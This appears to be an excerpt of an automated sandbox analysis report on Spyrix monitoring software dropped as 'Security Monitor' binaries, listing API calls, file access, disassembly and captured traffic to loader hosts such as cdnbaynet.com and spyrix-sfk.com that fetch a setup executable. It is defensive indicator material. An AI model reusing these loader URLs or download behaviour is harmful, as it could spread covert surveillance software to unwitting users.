Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 71_2_00389D10 memcpy,memmove,memset,CertFreeCertificateContext,WSAGetLastError,strtol,strchr,strlen,strncpy,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strchr,strchr,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,strncmp,CertEnumCertificatesInStore,CertEnumCertificatesInStore,CertEnumCertificatesInStore,CertFreeCertificateContext,CertEnumCertificatesInStore,CertEnumCertificatesInStore,CertFreeCertificateContext,CertFreeCertificateContext,strchr,strlen,CertOpenStore,CryptStringToBinaryA,CertFindCertificateInStore,CertCloseStore,CertFreeCertificateContext,CertFreeCertificateContext,GetLastError,CertFreeCertificateContext,	71_2_00389D10

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: -----BEGIN PUBLIC KEY-----		71_2_00388FA0
Source: qrl.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----

Source: https://dashboard.spyrix.com/login

HTTP Parser: Number of links: 0

Source: https://dashboard.spyrix.com/login

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://dashboard.spyrix.com/login

HTTP Parser: Title: Welcome Back does not match URL

Source: https://dashboard.spyrix.com/login

HTTP Parser: <input type="password" .../> found

Source: https://dashboard.spyrix.com/login

HTTP Parser: No <meta name="author".. found

Source: https://dashboard.spyrix.com/login

HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49720 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.14.170:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.14.168:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.8:49725 version: TLS 1.2

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0040AC68 FindFirstFileW,FindClose,	56_2_0040AC68
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_0040A700 lstrcpynW,lstrcpynW,lstrcpynW,FindFirstFileW,FindClose,lstrlenW,lstrcpynW,lstrlenW,lstrcpynW,	56_2_0040A700
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_033775E8 FindFirstFileA,	56_2_033775E8
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 56_2_033776C4 FindFirstFileA,GetLastError,	56_2_033776C4

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov eax, edx	71_2_0037B510
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then cmp dword ptr [edi+04h], ebp	71_2_003748F0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then movzx edx, byte ptr [ecx]	71_2_003D5060
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push esi	71_2_003720F0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then add eax, dword ptr [ecx+10h]	71_2_003DC0F0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov ecx, eax	71_2_003CF270
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_00376370
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov edi, dword ptr [ebx]	71_2_00377360
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov byte ptr [edx], cl	71_2_003B5360
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push dword ptr [ebx]	71_2_003833B0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_003774E0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_00377641
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 0000000Ch	71_2_003836A0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000019h	71_2_003836A0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_003776C1
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_00377771
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_0037774F
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_003777DB
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_00377828
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_0037785D
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_003778AB
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov ebx, dword ptr [edi-04h]	71_2_003CE8A0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_00377924
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_00377959
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_003779B7
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	71_2_003959E0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov eax, dword ptr [edi]	71_2_00365A00
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_00377A5E
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_00377A9B
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then test ebp, ebp	71_2_00388AE0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov ebx, ebp	71_2_0038DAD0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	71_2_0038DAD0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_00377BAC
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_00377B8D
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then test ebp, ebp	71_2_00388BD0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then cmp esi, edi	71_2_003B6C00
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov ebx, dword ptr [esi]	71_2_003A3C90
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov edx, dword ptr [esp+74h]	71_2_0038BD50
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push 00000000h	71_2_00377D8F
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then mov ebp, dword ptr [ebx+58h]	71_2_003CADE0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 4x nop then push dword ptr [edi]	71_2_003B8EF0

Networking

Uses netstat to query active network connections and open ports

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat.exe -e

Source: global traffic

HTTP traffic detected: GET /lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/s6 HTTP/1.1Host: filedn.comConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49720 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 71_2_003973D0 recv,send,WSAGetLastError,

71_2_003973D0

Source: global traffic	HTTP traffic detected: GET /lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404 HTTP/1.1Host: filedn.comUser-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/s6 HTTP/1.1Host: filedn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XYT5nbVGers4f7G&MD=VVPG9a78 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /loader/link.php?prg_id=sfk HTTP/1.1Host: cdnbaynet.comUser-Agent: sfk-dst-loader-2.0Accept: /
Source: global traffic	HTTP traffic detected: GET /download/sfk/sfk_setup.exe HTTP/1.1Host: swtb-download.spyrix-sfk.comUser-Agent: sfk-dst-loader-2.0Accept: /
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XYT5nbVGers4f7G&MD=VVPG9a78 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: dashboard.spyrix.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-93c74fef.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-004f4025.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn.js HTTP/1.1Host: dashboard.spyrix.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-004f4025.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: dashboard.spyrix.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-08b2a987.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn.js HTTP/1.1Host: dashboard.spyrix.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ConfirmPhoneModal-86d79a8a.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Nunito-Regular-73dcaa51.woff2 HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-5393c481.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Button-ca236c00.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonTemplate-fd9601a7.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ButtonText-ead06ca1.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Modal-04ffda94.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/Input-34212571.css HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://dashboard.spyrix.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/en-ef960fb7.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.jsAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/index-1178777c.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js HTTP/1.1Host: cdn.cdndownload.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://dashboard.spyrix.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
